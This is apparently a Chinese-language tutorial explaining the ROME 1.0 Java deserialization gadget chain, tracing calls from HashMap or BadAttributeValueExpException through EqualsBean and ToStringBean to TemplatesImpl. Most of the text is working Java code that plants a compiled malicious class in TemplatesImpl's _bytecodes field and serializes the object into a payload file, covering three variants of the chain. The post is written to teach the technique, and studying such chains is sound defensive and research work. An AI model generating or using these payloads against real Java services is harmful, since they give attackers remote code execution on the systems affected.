一.基础信息

首先我们肯定就是导入ROME这个包了(代码一),这里我去mvnrepository专门看了
一下里面并没有1.0这个版本,蛮奇怪的,这个好几种组合链,我这里只讲我觉得还不错的几种gadget(代码二),
实话实说对于初学者来说不难也不简单我尽量讲细点。
<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>
	BadAttributeValueExpException.readObject
		EqualsBean.hashCode
			beanHashCode.EqualsBean
				ToStringBean.toString
					TemplatesImpl.getOutputProperties
						TemplatesImpl.newTransformer
							TemplatesImpl.getTransletInstance

二.熟悉的hashCode

根据我上面得知链尾部是TemplatesImpl.getTransletInstance先看看被(图一),到这就看出来了,
我们可以获取任意方法的实例,那么就网上走在相同类newTransformer中找到了getTransletInstance(图二),
接着看又在想同类getOutputProperties中找到了newTransformer,好到这一步我们先手动执行一下证明我们猜想。

这里建议大家使用反射来写不要懒惰初学者不要嫌麻烦(代码一),CommAnddd就是我们创建的恶意类也是成功执行了(图一),
这里存在个问题,最现实的问题就是目标又不可能存在恶意类让你执行,这里尾部的时候_class空可以进入defineTransletClasses(),
我们进去看看(图二),看了之后我们就懂了。
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
TemplatesImpl o = (TemplatesImpl) aClass.newInstance();

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(o, "666");
Field aClass1 = aClass.getDeclaredField("_class");
aClass1.setAccessible(true);
aClass1.set(o,new Class[]{CommAnddd.class});

Field transletIndex = aClass.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(o,0);

o.getOutputProperties();

上图意思就是说会把_bytecodes通过defineClass转换成可执行类,给到_class,这里也不需要设置_transletIndex,
再上图中可以看到415行获取我们的传入的父类,然后418比较内容也就是父类
ABSTRACT_TRANSLET(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet)
,无所谓恶意类继承就行了,最主要的就是_tfactory我上图中说到设置原有的就行 实际上在进行反序列化的时候根本不需要设置,
因为目前我们还在调试中所以要设置,为什么这么讲是因为_tfactory属性是transient,这个字段不参与序列化,所以根本没办法反序列化,
我看到好多文章最终链都写,其实是多余了,因为在当前类TemplatesImpl中readObject中已经给我们设置好了(图一),
所以只需要找到可以利用的readObject就会把所有的都执行。

接着网上走呗,但是到这里其实就找不到了,因为在网上会走到ToStringBean.toString我们看看做了什么(图一),
这里先来一步一步解释一下先BeanIntrospector.getPropertyDescriptors(this._beanClass);跟进去看看
(图二-图四)看图之后我们就明白了 这里可以获取任意的getter/setter,接着我们看图一,在66行获取了Getter,之后就是不能是继承Object的Getter,
然后也不能存在参数,在就
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
到这里其实就明白了,利用反射执行任意的getter,这里不得不说构造函数了,里面帮我们已经写好了(图五)
,那么还有一个问题就是TemplatesImpl类中我们要执行getOutputProperties他是循环中获取的第二个,
所以要先执行TemplatesImpl.getStylesheetDOM()类(图六),不巧的是_sdom是transient,哈哈哈问题不打接着往下看。

其实这里的getOutputProperties是重实现了Templates接口的方法,所以我们只需要指定的是Templates接口就行了舒坦(图一),
ok那就模拟执行一下(代码一),下面就在网上走EqualsBean.beanHashCode()中执行了toString,那么又在同类中找到了hashCode()执行了beanHashCode(),
到这里要是一路跟着学习过来的师傅,应该已经知道了,DNSLOG这个链不就是执行的hashCode()吗?没错的,那么这里有个问题就是图三中
if (!beanClass.isInstance(obj))就是检测这个对象是不是这个类的实例,那么就写链吧。

byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\ROME\\CommAnddd.class"));
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
TemplatesImpl o = (TemplatesImpl) aClass.newInstance();

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(o, "666");
Field aClass1 = aClass.getDeclaredField("_bytecodes");
aClass1.setAccessible(true);
aClass1.set(o,new byte[][]{bytes});

Field transletIndex = aClass.getDeclaredField("_tfactory");
transletIndex.setAccessible(true);
transletIndex.set(o,new TransformerFactoryImpl());


Class<?> aClass2 = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
Constructor<?> declaredConstructor = aClass2.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor.setAccessible(true);
ToStringBean o1 = (ToStringBean) declaredConstructor.newInstance(Templates.class, o);
o1.toString();

三.HashMap链

HashMap.readObject()
    HashMap.put()
        HashMap.hash()
            xxx.hashCode()

byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\ROME\\CommAnddd.class"));
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
TemplatesImpl o = (TemplatesImpl) aClass.newInstance();

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(o, "666");
Field aClass1 = aClass.getDeclaredField("_bytecodes");
aClass1.setAccessible(true);
aClass1.set(o,new byte[][]{bytes});

Class<?> aClass2 = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
Constructor<?> declaredConstructor = aClass2.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor.setAccessible(true);
ToStringBean o1 = (ToStringBean) declaredConstructor.newInstance(Templates.class, o);


Class<?> aClass3 = Class.forName("com.sun.syndication.feed.impl.EqualsBean");
Constructor<?> declaredConstructor1 = aClass3.getDeclaredConstructor(Class.class, Object.class);
Object o2 = declaredConstructor1.newInstance(Object.class, o1);

HashMap<Object, Object> map = new HashMap<>();
map.put("aaa", "bbb");

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(map);

for (Object entry : table) {
    if (entry != null) {
        Field keyField = entry.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(entry, o2);
        break;
    }
}

serialize(map);
unserialize("ser.bin");

public static void serialize(Object obj) throws Exception {
    //序列化
    ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}
public static Object unserialize(String name) throws Exception {
    //反序列化
    ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
    Object o = ois.readObject();
    return o;
}

四.BadAttributeValueExpException

这里通过反射修改一下val就可以了图一。
Class<?> aClass1 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object o1 = aClass1.newInstance();

byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\ROME\\CommAnddd.class"));
Field bytecodes = aClass1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(o1, new byte[][]{bytes});

Field name = aClass1.getDeclaredField("_name");
name.setAccessible(true);
name.set(o1, "666");

Class<?> aClass = Class.forName("com.sun.syndication.feed.impl.ToStringBean");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Templates.class, o1);

Class<?> aClass2 = Class.forName("com.sun.syndication.feed.impl.EqualsBean");
Constructor<?> declaredConstructor1 = aClass2.getDeclaredConstructor(Class.class, Object.class);
declaredConstructor1.setAccessible(true);
EqualsBean o11 = (EqualsBean) declaredConstructor1.newInstance(Serializable.class, o);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put(o11,"666");


BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttr, o11);

serialize(badAttr);
unserialize("ser.bin");
public static void serialize(Object obj) throws Exception {
    //序列化
    ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);

}
public static Object unserialize(String name) throws Exception {
    //反序列化
    ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
    Object o = ois.readObject();
    return o;
}

到这里就结束了,上面基本算是一步一步再讲,要是还是不会那就再看一遍呢。